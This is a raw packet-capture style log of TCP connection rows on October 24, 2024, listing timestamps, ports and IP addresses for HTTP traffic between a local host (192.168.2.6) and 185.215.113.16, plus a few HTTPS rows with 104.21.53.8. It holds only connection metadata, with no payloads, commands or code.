Oct 24, 2024 04:58:21.802088022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.849351883 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849364042 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849380016 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849385023 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849394083 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849404097 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849414110 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849416018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.849425077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849433899 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849442005 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.849446058 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849457979 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849466085 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.849471092 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.849478960 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.849509954 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850054026 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850071907 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850097895 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850107908 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850188017 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850198984 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850208998 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850219965 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850224018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850238085 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850275993 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850476980 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850538969 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850554943 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850564957 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850574970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850584030 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850593090 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850594997 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.850614071 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.850627899 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.851094961 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.851111889 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.851139069 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.851149082 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.852083921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852170944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852181911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852191925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852216959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.852243900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.852261066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852287054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852300882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.852333069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.852377892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.881314039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.881324053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.881330013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.881340027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.881372929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.881413937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.890391111 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.890403032 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.890419006 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.890428066 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.890467882 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.890497923 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.892019987 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.892030001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.892040014 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.892051935 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.892072916 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.892101049 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.921363115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.921374083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.921386003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.921418905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.921448946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.921461105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.921472073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.921502113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.921525955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.935657978 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.935667992 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.935678959 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.935692072 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.935729027 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.935760021 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966224909 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966238022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966280937 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966291904 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966310024 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966326952 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966337919 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966350079 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966352940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966363907 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966366053 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966372967 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966375113 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966388941 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966406107 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966708899 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966753960 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966774940 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966787100 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966804981 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966825008 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966833115 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.966866970 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966877937 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.966914892 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.967195988 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967206001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967217922 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967226982 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967233896 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.967245102 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967256069 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967262030 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.967266083 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967274904 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967283964 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.967307091 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.967859983 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967961073 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967972040 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967983007 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.967993021 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.968003035 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.968013048 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.968039036 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.971430063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.971441031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.971451044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.971471071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.971481085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.971489906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:21.971506119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:21.971537113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.000675917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.000688076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.000699043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.000704050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.000736952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.000763893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.007359982 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.007370949 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.007417917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.007417917 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.008919001 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.008929014 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.008944988 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.008951902 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.008975029 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.008985043 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.040838957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.040860891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.040872097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.040882111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.040893078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.040903091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.040918112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.040951014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.052592993 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.052625895 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.052634954 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.052644968 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.052661896 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.052661896 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.052701950 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083441973 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083453894 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083476067 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083491087 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083501101 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083502054 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083518982 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083528996 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083530903 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083534956 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:22.083539009 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083549023 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083549023 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083570957 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083574057 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083620071 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083642960 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:22.083717108 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:22.083923101 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083933115 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083942890 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083954096 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.083966017 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.083975077 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084000111 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084168911 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084213972 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084247112 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084256887 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084265947 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084275961 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084281921 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084290981 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084304094 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084319115 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084320068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084331036 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084341049 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.084353924 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084364891 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084388018 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.084399939 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:58:22.084415913 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 04:58:22.085033894 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.085089922 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.085092068 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.085099936 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.085109949 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.085130930 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.085155964 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.090749979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.090769053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.090779066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.090817928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.090878010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.090888023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.090893030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.090930939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.090940952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.120018959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.120029926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.120039940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.120071888 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.125962019 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.125972033 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.125981092 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.126013994 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.126034975 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.160043955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.160065889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.160078049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.160100937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.160128117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.160146952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.160160065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.160171986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.160196066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.169503927 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.169516087 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.169524908 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.169573069 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200175047 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200223923 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200236082 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200251102 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200301886 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200320959 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200334072 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200334072 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200357914 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200376034 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200491905 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200504065 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200515985 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200529099 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200550079 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200577974 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.200689077 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200700998 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200712919 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.200767994 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201133013 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201180935 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201209068 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201219082 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201232910 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201256990 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201260090 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201272011 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201343060 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201384068 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201409101 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201420069 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201443911 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201457977 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201462030 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201468945 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201509953 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201819897 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201832056 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201843977 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201884031 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201884031 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201896906 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201906919 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201919079 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201925039 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.201939106 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201953888 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.201975107 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.210119009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.210145950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.210155964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.210216045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.210253000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.210263014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.210274935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.210314989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.239490986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.239502907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.239511967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.239537954 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.239569902 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.242748022 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.242767096 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.242775917 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.242810011 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.242824078 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.242872000 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.242882967 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.242892981 CEST	80	50000	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.242919922 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.242929935 CEST	50000	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.279517889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.279542923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.279561996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.279577971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.279592991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.279593945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.279609919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:22.279628038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:22.279656887 CEST	49774	80	192.168.2.6	185.215.113.16
